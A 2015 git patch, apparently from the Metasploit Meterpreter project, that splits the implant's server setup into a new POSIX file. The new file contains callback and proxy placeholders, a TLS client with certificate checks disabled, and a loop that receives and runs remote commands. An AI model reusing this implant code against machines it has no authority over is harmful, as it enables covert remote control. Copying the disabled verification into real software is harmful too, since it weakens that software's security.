From 038477f90dfa84eadc8cae99785f071c65e8a6cf Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 13 Mar 2015 13:05:35 -0500 Subject: [PATCH] initial split server_setup into windows/posix variants --- c/meterpreter/source/server/server_setup.c | 44 +- .../source/server/server_setup_posix.c | 406 ++++++++++++++++++ c/meterpreter/workspace/metsrv/Makefile | 2 +- 3 files changed, 408 insertions(+), 44 deletions(-) create mode 100755 c/meterpreter/source/server/server_setup_posix.c diff --git a/c/meterpreter/source/server/server_setup.c b/c/meterpreter/source/server/server_setup.c index a3c7ee24..306bce78 100755 --- a/c/meterpreter/source/server/server_setup.c +++ b/c/meterpreter/source/server/server_setup.c @@ -19,8 +19,6 @@ int global_comm_timeout = 0xaf79257f; /*! @brief Number of milliseconds to wait before connection retries. */ const DWORD RETRY_TIMEOUT_MS = 1000; -#ifdef _WIN32 - #include <windows.h> // for EXCEPTION_ACCESS_VIOLATION #include <excpt.h> @@ -36,14 +34,6 @@ int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep) #define InitAppInstance() { if( hAppInstance == NULL ) hAppInstance = GetModuleHandle( NULL ); } -#else -#define InitAppInstance() -#define exceptionfilter(a, b) -#define SetHandleInformation(a, b, c) -#define ExitThread(x) exit((x)) -const unsigned int hAppInstance = 0x504b5320; // 'PKS ' -#endif - #define PREPEND_ERROR "### Error: " #define PREPEND_INFO "### Info : " #define PREPEND_WARN "### Warn : " @@ -276,11 +266,7 @@ static VOID server_locking_callback(int mode, int type, const char * file, int l */ static long unsigned int server_threadid_callback(VOID) { -#ifdef _WIN32 return GetCurrentThreadId(); -#else - return pthread_self(); -#endif } /*! @@ -397,17 +383,6 @@ static LONG server_socket_poll(Remote * remote, long timeout) result = select((int)fd + 1, &fdread, NULL, NULL, &tv); -#ifndef _WIN32 - // Handle EAGAIN, etc. - if(result == -1) - { - if(errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK) - { - result = 0; - } - } -#endif - lock_release(remote->lock); return result; @@ -628,7 +603,6 @@ static DWORD server_dispatch(Remote * remote) return result; } -#ifdef _WIN32 /* * The servers main dispatch loop for incoming requests using SSL over TCP */ @@ -789,14 +763,11 @@ static DWORD server_dispatch_http_wininet(Remote * remote) return result; } -#endif - /* * Get the session id that this meterpreter server is running in. */ DWORD server_sessionid() { -#ifdef _WIN32 typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id ); static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL; @@ -832,9 +803,6 @@ DWORD server_sessionid() } return dwSessionId; -#else - return -1; -#endif } VOID load_stageless_extensions(Remote* pRemote, ULONG_PTR fd) @@ -871,10 +839,6 @@ DWORD server_setup(SOCKET fd) dprintf("[SERVER] Initializing..."); -#ifdef _UNIX - int local_error = 0; -#endif - // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value // for use with loading server extensions later. @@ -938,7 +902,6 @@ DWORD server_setup(SOCKET fd) // Store our thread handle pRemote->hServerThread = serverThread->handle; -#ifdef _WIN32 // Store our process token if (!OpenThreadToken(pRemote->hServerThread, TOKEN_ALL_ACCESS, TRUE, &pRemote->hServerToken)) { @@ -957,7 +920,6 @@ DWORD server_setup(SOCKET fd) GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &cDesktopName, 256, NULL); pRemote->cpOrigDesktopName = _strdup(cDesktopName); pRemote->cpCurrentDesktopName = _strdup(cDesktopName); -#endif // Process our default SSL-over-TCP transport if (pRemote->transport == METERPRETER_TRANSPORT_SSL) @@ -1009,11 +971,7 @@ DWORD server_setup(SOCKET fd) } dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", pRemote->transport); -#ifdef _WIN32 server_dispatch_http_wininet(pRemote); -#else - // XXX: Handle non-windows HTTP transport -#endif dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines(pRemote); @@ -1041,4 +999,4 @@ DWORD server_setup(SOCKET fd) dprintf("[SERVER] Finished."); return res; -} \ No newline at end of file +} diff --git a/c/meterpreter/source/server/server_setup_posix.c b/c/meterpreter/source/server/server_setup_posix.c new file mode 100755 index 00000000..9af08732 --- /dev/null +++ b/c/meterpreter/source/server/server_setup_posix.c @@ -0,0 +1,406 @@ +/*! + * @file server_setup.c + */ +#include "metsrv.h" +#include "../../common/common.h" + +char *global_meterpreter_transport = + "METERPRETER_TRANSPORT_SSL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; +char *global_meterpreter_url = + "https://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/\x00"; +char *global_meterpreter_ua = + "METERPRETER_UA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; +char *global_meterpreter_proxy = + "METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; +char *global_meterpreter_proxy_username = + "METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; +char *global_meterpreter_proxy_password = + "METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; +int global_expiration_timeout = 0xb64be661; +int global_comm_timeout = 0xaf79257f; + +#define SetHandleInformation(a, b, c) +const unsigned int hAppInstance = 0x504b5320; // 'PKS ' + +/*! @brief This thread is the main server thread. */ +static THREAD *serverThread = NULL; + +/*! @brief An array of locks for use by OpenSSL. */ +static LOCK **ssl_locks = NULL; + +/*! + * @brief A callback function used by OpenSSL to leverage native system locks. + * @param mode The lock mode to set. + * @param type The lock type to operate on. + * @param file Unused. + * @param line Unused. + */ +static void server_locking_callback(int mode, int type, const char *file, int line) +{ + if (mode & CRYPTO_LOCK) { + lock_acquire(ssl_locks[type]); + } else { + lock_release(ssl_locks[type]); + } +} + +/*! + * @brief A callback function used by OpenSSL to get the current threads id. + * @returns The current thread ID. + * @remarks While not needed on windows this must be used for posix meterpreter. + */ +static long unsigned int server_threadid_callback(void) +{ + return pthread_self(); +} + +/* + * Callback function for dynamic lock creation for OpenSSL. + */ +static struct CRYPTO_dynlock_value *server_dynamiclock_create(const char *file, int line) +{ + return (struct CRYPTO_dynlock_value *)lock_create(); +} + +/* + * Callback function for dynamic lock locking for OpenSSL. + */ +static void server_dynamiclock_lock(int mode, struct CRYPTO_dynlock_value *l, const char *file, + int line) +{ + LOCK *lock = (LOCK *) l; + if (mode & CRYPTO_LOCK) { + lock_acquire(lock); + } else { + lock_release(lock); + } +} + +/* + * Callback function for dynamic lock destruction for OpenSSL. + */ +static void server_dynamiclock_destroy(struct CRYPTO_dynlock_value *l, const char *file, int line) +{ + lock_destroy((LOCK *) l); +} + +/* + * Flush all pending data on the connected socket before doing SSL. + */ +static void server_socket_flush(Remote * remote) +{ + fd_set fdread; + DWORD ret; + SOCKET fd; + char buff[4096]; + lock_acquire(remote->lock); + fd = remote_get_fd(remote); + + while (1) { + struct timeval tv; + LONG data; + FD_ZERO(&fdread); + FD_SET(fd, &fdread); + + // Wait for up to one second for any errant socket data to appear + tv.tv_sec = 1; + tv.tv_usec = 0; + data = select((int)fd + 1, &fdread, NULL, NULL, &tv); + if (data == 0) + break; + + ret = recv(fd, buff, sizeof(buff), 0); + dprintf("[SERVER] Flushed %d bytes from the buffer", ret); + + // The socket closed while we waited + if (ret == 0) { + break; + } + } + lock_release(remote->lock); +} + +/* + * Poll a socket for data to recv and block when none available. + */ +static LONG server_socket_poll(Remote * remote, long timeout) +{ + struct timeval tv; + LONG result; + fd_set fdread; + SOCKET fd; + lock_acquire(remote->lock); + fd = remote_get_fd(remote); + FD_ZERO(&fdread); + FD_SET(fd, &fdread); + tv.tv_sec = 0; + tv.tv_usec = timeout; + result = select((int)fd + 1, &fdread, NULL, NULL, &tv); + + if (result == -1 && + (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK)) + result = 0; + + lock_release(remote->lock); + return result; +} + +/* + * Initialize the OpenSSL subsystem for use in a multi threaded enviroment. + */ +static int server_initialize_ssl(Remote * remote) +{ + int i; + + lock_acquire(remote->lock); + + // Begin to bring up the OpenSSL subsystem... + CRYPTO_malloc_init(); + SSL_load_error_strings(); + SSL_library_init(); + + // Setup the required OpenSSL multi-threaded enviroment... + ssl_locks = malloc(CRYPTO_num_locks() * sizeof(LOCK *)); + if (ssl_locks == NULL) { + lock_release(remote->lock); + return -1; + } + + for (i = 0; i < CRYPTO_num_locks(); i++) + ssl_locks[i] = lock_create(); + + CRYPTO_set_id_callback(server_threadid_callback); + CRYPTO_set_locking_callback(server_locking_callback); + CRYPTO_set_dynlock_create_callback(server_dynamiclock_create); + CRYPTO_set_dynlock_lock_callback(server_dynamiclock_lock); + CRYPTO_set_dynlock_destroy_callback(server_dynamiclock_destroy); + lock_release(remote->lock); + + return 0; +} + +/* + * Bring down the OpenSSL subsystem + */ +void server_destroy_ssl(Remote * remote) +{ + int i; + + if (remote) { + dprintf("[SERVER] Destroying SSL"); + lock_acquire(remote->lock); + SSL_free(remote->ssl); + SSL_CTX_free(remote->ctx); + CRYPTO_set_locking_callback(NULL); + CRYPTO_set_id_callback(NULL); + CRYPTO_set_dynlock_create_callback(NULL); + CRYPTO_set_dynlock_lock_callback(NULL); + CRYPTO_set_dynlock_destroy_callback(NULL); + + for (i = 0; i < CRYPTO_num_locks(); i++) + lock_destroy(ssl_locks[i]); + + free(ssl_locks); + lock_release(remote->lock); + } +} + +/* + * Negotiate SSL on the socket. + */ +static BOOL server_negotiate_ssl(Remote * remote) +{ + BOOL success = TRUE; + SOCKET fd = 0; + DWORD ret = 0; + DWORD res = 0; + lock_acquire(remote->lock); + + fd = remote_get_fd(remote); + remote->meth = TLSv1_client_method(); + remote->ctx = SSL_CTX_new(remote->meth); + SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY); + remote->ssl = SSL_new(remote->ctx); + SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL); + if (SSL_set_fd(remote->ssl, (int)remote->fd) == 0) { + dprintf("[SERVER] set fd failed"); + success = FALSE; + goto out; + } + + do { + if ((ret = SSL_connect(remote->ssl)) != 1) { + res = SSL_get_error(remote->ssl, ret); + dprintf("[SERVER] connect failed %d\n", res); + if (res == SSL_ERROR_WANT_READ || res == SSL_ERROR_WANT_WRITE) { + + // Catch non-blocking socket errors and retry + continue; + } + success = FALSE; + break; + } + } while (ret != 1); + + if (success == FALSE) + goto out; + + dprintf("[SERVER] Sending a HTTP GET request to the remote side..."); + if ((ret = SSL_write(remote->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0) { + dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, + SSL_get_error(remote->ssl, ret)); + } + +out: + lock_release(remote->lock); + dprintf("[SERVER] Completed writing the HTTP GET request: %d", ret); + if (ret < 0) + success = FALSE; + return success; +} + +/*! + * @brief The servers main dispatch loop for incoming requests using SSL over TCP + * @param remote Pointer to the remote endpoint for this server connection. + * @returns Indication of success or failure. + */ +static DWORD server_dispatch(Remote * remote) +{ + BOOL running = TRUE; + LONG result = ERROR_SUCCESS; + Packet *packet = NULL; + THREAD *cpt = NULL; + dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote); + + // Bring up the scheduler subsystem. + result = scheduler_initialize(remote); + if (result != ERROR_SUCCESS) { + return result; + } + while (running) { + if (event_poll(serverThread->sigterm, 0)) { + dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); + break; + } + result = server_socket_poll(remote, 100); + if (result > 0) { + result = packet_receive(remote, &packet); + if (result != ERROR_SUCCESS) { + dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result); + break; + } + running = command_handle(remote, packet); + dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); + } + + else if (result < 0) { + dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result); + break; + } + } + + dprintf("[DISPATCH] calling scheduler_destroy...") + scheduler_destroy(); + + dprintf("[DISPATCH] calling command_join_threads...") + command_join_threads(); + + dprintf("[DISPATCH] leaving server_dispatch."); + return result; +} + +/* + * Setup and run the server. This is called from Init via the loader. + */ +DWORD server_setup(SOCKET fd) +{ + Remote *remote = NULL; + char cStationName[256] = { 0 }; + char cDesktopName[256] = { 0 }; + DWORD res = 0; + + dprintf("[SERVER] Initializing..."); + int local_error = 0; + + srand(time(NULL)); + + dprintf("[SERVER] module loaded at 0x%08X", hAppInstance); + + // Open a THREAD item for the servers main thread, we use this to manage migration later. + serverThread = thread_open(); + dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", + serverThread->handle, serverThread->id, serverThread->sigterm); + if (!(remote = remote_allocate(fd))) { + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + goto out; + } + + remote->url = global_meterpreter_url; + if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_SSL") == 0) { + remote->transport = METERPRETER_TRANSPORT_SSL; + dprintf("[SERVER] Using SSL transport..."); + + } else if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_HTTPS") == 0) { + remote->transport = METERPRETER_TRANSPORT_HTTPS; + dprintf("[SERVER] Using HTTPS transport..."); + + } else if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_HTTP") == 0) { + remote->transport = METERPRETER_TRANSPORT_HTTP; + dprintf("[SERVER] Using HTTP transport..."); + } + + // Do not allow the file descriptor to be inherited by child processes + SetHandleInformation((HANDLE) fd, HANDLE_FLAG_INHERIT, 0); + dprintf("[SERVER] Initializing tokens..."); + + // Store our thread handle + remote->hServerThread = serverThread->handle; + + // Process our default SSL-over-TCP transport + if (remote->transport == METERPRETER_TRANSPORT_SSL) { + dprintf("[SERVER] Flushing the socket handle..."); + server_socket_flush(remote); + + dprintf("[SERVER] Initializing SSL..."); + if (server_initialize_ssl(remote)) + goto out; + + dprintf("[SERVER] Negotiating SSL..."); + if (!server_negotiate_ssl(remote)) + goto out; + + dprintf("[SERVER] Registering dispatch routines..."); + register_dispatch_routines(); + + dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", + remote->transport); + server_dispatch(remote); + + dprintf("[SERVER] Deregistering dispatch routines..."); + deregister_dispatch_routines(remote); + } + +out: + if (remote->transport == METERPRETER_TRANSPORT_HTTP + || remote->transport == METERPRETER_TRANSPORT_HTTPS) { + dprintf("[SERVER] Registering dispatch routines..."); + register_dispatch_routines(); + dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", + remote->transport); + + // XXX: Handle non-windows HTTP transport + dprintf("[SERVER] Deregistering dispatch routines..."); + deregister_dispatch_routines(remote); + } + + if (remote->transport == METERPRETER_TRANSPORT_SSL) { + dprintf("[SERVER] Closing down SSL..."); + server_destroy_ssl(remote); + } + + if (remote) + remote_deallocate(remote); + + dprintf("[SERVER] Finished."); + return res; +} diff --git a/c/meterpreter/workspace/metsrv/Makefile b/c/meterpreter/workspace/metsrv/Makefile index 4f49b0ea..60f9d4b1 100644 --- a/c/meterpreter/workspace/metsrv/Makefile +++ b/c/meterpreter/workspace/metsrv/Makefile @@ -10,7 +10,7 @@ VPATH += $(ROOT)/source/server/ CFLAGS += -I$(ROOT)/source/server -objects = metsrv.o scheduler.o server_setup.o remote_dispatch_common.o +objects = metsrv.o scheduler.o server_setup_posix.o remote_dispatch_common.o objects += remote_dispatch.o netlink.o libmetsrv_main.so: $(objects)